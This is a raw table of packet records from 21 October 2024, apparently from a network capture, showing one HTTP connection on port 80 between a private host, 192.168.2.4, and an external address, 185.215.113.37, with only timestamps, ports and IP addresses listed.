Oct 21, 2024 09:06:20.621531010 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:20.621545076 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:20.621551991 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.621562958 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:20.621576071 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.621587992 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:20.621601105 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.621612072 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:20.621624947 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.621637106 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:20.621649027 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.621659040 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:20.621681929 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:20.621690035 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.621704102 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.621718884 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.621730089 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:20.621738911 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:20.621752977 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:20.621761084 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.621778965 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.621810913 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:20.622481108 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.622494936 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.622509003 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.622519016 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:20.622531891 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.622545004 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:20.622555017 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.622567892 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:20.622577906 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.622595072 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.622601032 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:20.622612000 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:20.622627974 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:20.622636080 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.622649908 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.622670889 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.622677088 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:20.622685909 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:20.622698069 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.622706890 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:20.622720957 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.622735023 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.622751951 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.622761965 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:20.622777939 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:20.622801065 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:20.623361111 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.623375893 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.623398066 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:20.623409033 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.623420000 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:20.623431921 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.623445988 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.623460054 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.623471022 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:20.623483896 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.623495102 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:20.623507977 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.623519897 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:20.623532057 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:20.623544931 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:20.623552084 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.623564959 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.623579979 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.623593092 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.623604059 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:20.623616934 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.623626947 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:20.623650074 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:20.624306917 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.624321938 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.624335051 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.624350071 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.624361038 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:20.624378920 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.624386072 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:20.624406099 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.624413013 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:20.624420881 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:20.624439001 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.624445915 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:20.624459982 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.624475002 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.624490976 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.624501944 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:20.624515057 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.624526024 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:20.624540091 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.624548912 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:20.624562025 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.624572039 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:20.624583960 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:20.624599934 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.624607086 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:20.625123024 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.625170946 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:20.737607002 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.737668991 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.737684011 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:20.737719059 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:20.737742901 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.737797976 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.737831116 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.737852097 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:20.737874031 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:20.738007069 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.738039017 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.738063097 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:20.738089085 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:20.738121986 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.738171101 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.738204002 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.738224030 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:20.738250017 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:20.738276958 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.738322973 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:20.738379955 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.738411903 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.738442898 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.738468885 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:20.738470078 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:20.738497019 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:20.738526106 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.738559961 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.738580942 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:20.738605022 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:20.738646984 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.738679886 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.738708973 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.738729000 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:20.738751888 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:20.738786936 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.738833904 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.738854885 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:20.738878012 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:20.738922119 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.738954067 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.738974094 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:20.738996029 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:20.739023924 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.739062071 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.739084005 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:20.739111900 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:20.739134073 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.739166021 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.739182949 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.739213943 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.739248991 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.739284039 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:20.739304066 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:20.739320993 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.739353895 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.739372969 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:20.739408970 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:20.739439964 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.739473104 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.739505053 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.739523888 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:20.739562988 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.739576101 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:20.739607096 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.739638090 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:20.739656925 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:20.739681959 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.739708900 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.739753008 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:20.739778996 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.739811897 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.739841938 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.739861012 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:20.739895105 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:20.739911079 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.739944935 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.739993095 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:20.740057945 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.740089893 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.740109921 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:20.740137100 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:20.740160942 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.740192890 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.740211964 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:20.740240097 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:20.740262985 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.740293980 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.740314007 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:20.740343094 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:20.740365028 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.740396976 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.740416050 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:20.740442991 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:20.740467072 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.740499973 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.740519047 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:20.740547895 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:20.740571976 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.740603924 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.740624905 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:20.740664005 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:20.740690947 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.740721941 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.740741014 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:20.740767956 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:20.740791082 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.740823030 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.740842104 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:20.740869999 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:20.740892887 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.740926027 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.740946054 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:20.740969896 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:20.740998030 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.741029024 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.741050959 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:20.741075993 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:20.741103888 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.741136074 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.741157055 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:20.741183043 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:20.741208076 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.741240025 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.741259098 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:20.741286993 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:20.741312027 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.741358995 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:20.741447926 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.741475105 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.741493940 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:20.741516113 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:20.741543055 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.741575003 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.741594076 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:20.741622925 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:20.741645098 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.741677046 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.741695881 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:20.741724014 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:20.741748095 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.741779089 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.741800070 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:20.741826057 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:20.741849899 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.741883039 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.741902113 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:20.741930008 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:20.741951942 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.741983891 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.742002964 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:20.742031097 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:20.742085934 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.742117882 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.742137909 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:20.742165089 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:20.742189884 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.742223024 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.742242098 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:20.742269039 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:20.742292881 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.742324114 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.742343903 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:20.742372036 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:20.742396116 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.742429018 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.742449999 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:20.742475986 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:20.742502928 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.742535114 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.742553949 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:20.742584944 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:20.742610931 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.742656946 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.742670059 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:20.742702961 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:20.742834091 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.742865086 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.742885113 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:20.742913961 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:20.742938042 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.742969990 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.743001938 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:20.743019104 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:20.743038893 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.743069887 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.743089914 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:20.743124008 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:20.743139029 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.743170977 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.743190050 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:20.743216038 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:20.743241072 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.743273020 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.743293047 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:20.743319988 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:20.743344069 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.743375063 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.743408918 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:20.743428946 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:20.743458033 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.743489981 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.743522882 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.743535042 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:20.743571997 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.743586063 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:20.743618011 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:20.743638992 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.743669987 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.743690014 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:20.743714094 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:20.743837118 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.743868113 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.743899107 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.743920088 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:20.743947029 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:20.743972063 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.744003057 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.744023085 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:20.744048119 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:20.744075060 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.744107962 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.744129896 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:20.744159937 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:20.744180918 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.744209051 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.744229078 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:20.744259119 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.744290113 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.744308949 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:20.744335890 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:20.744360924 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.744391918 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.744410992 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:20.744438887 CEST	49730	80	192.168.2.4	185.215.113.37
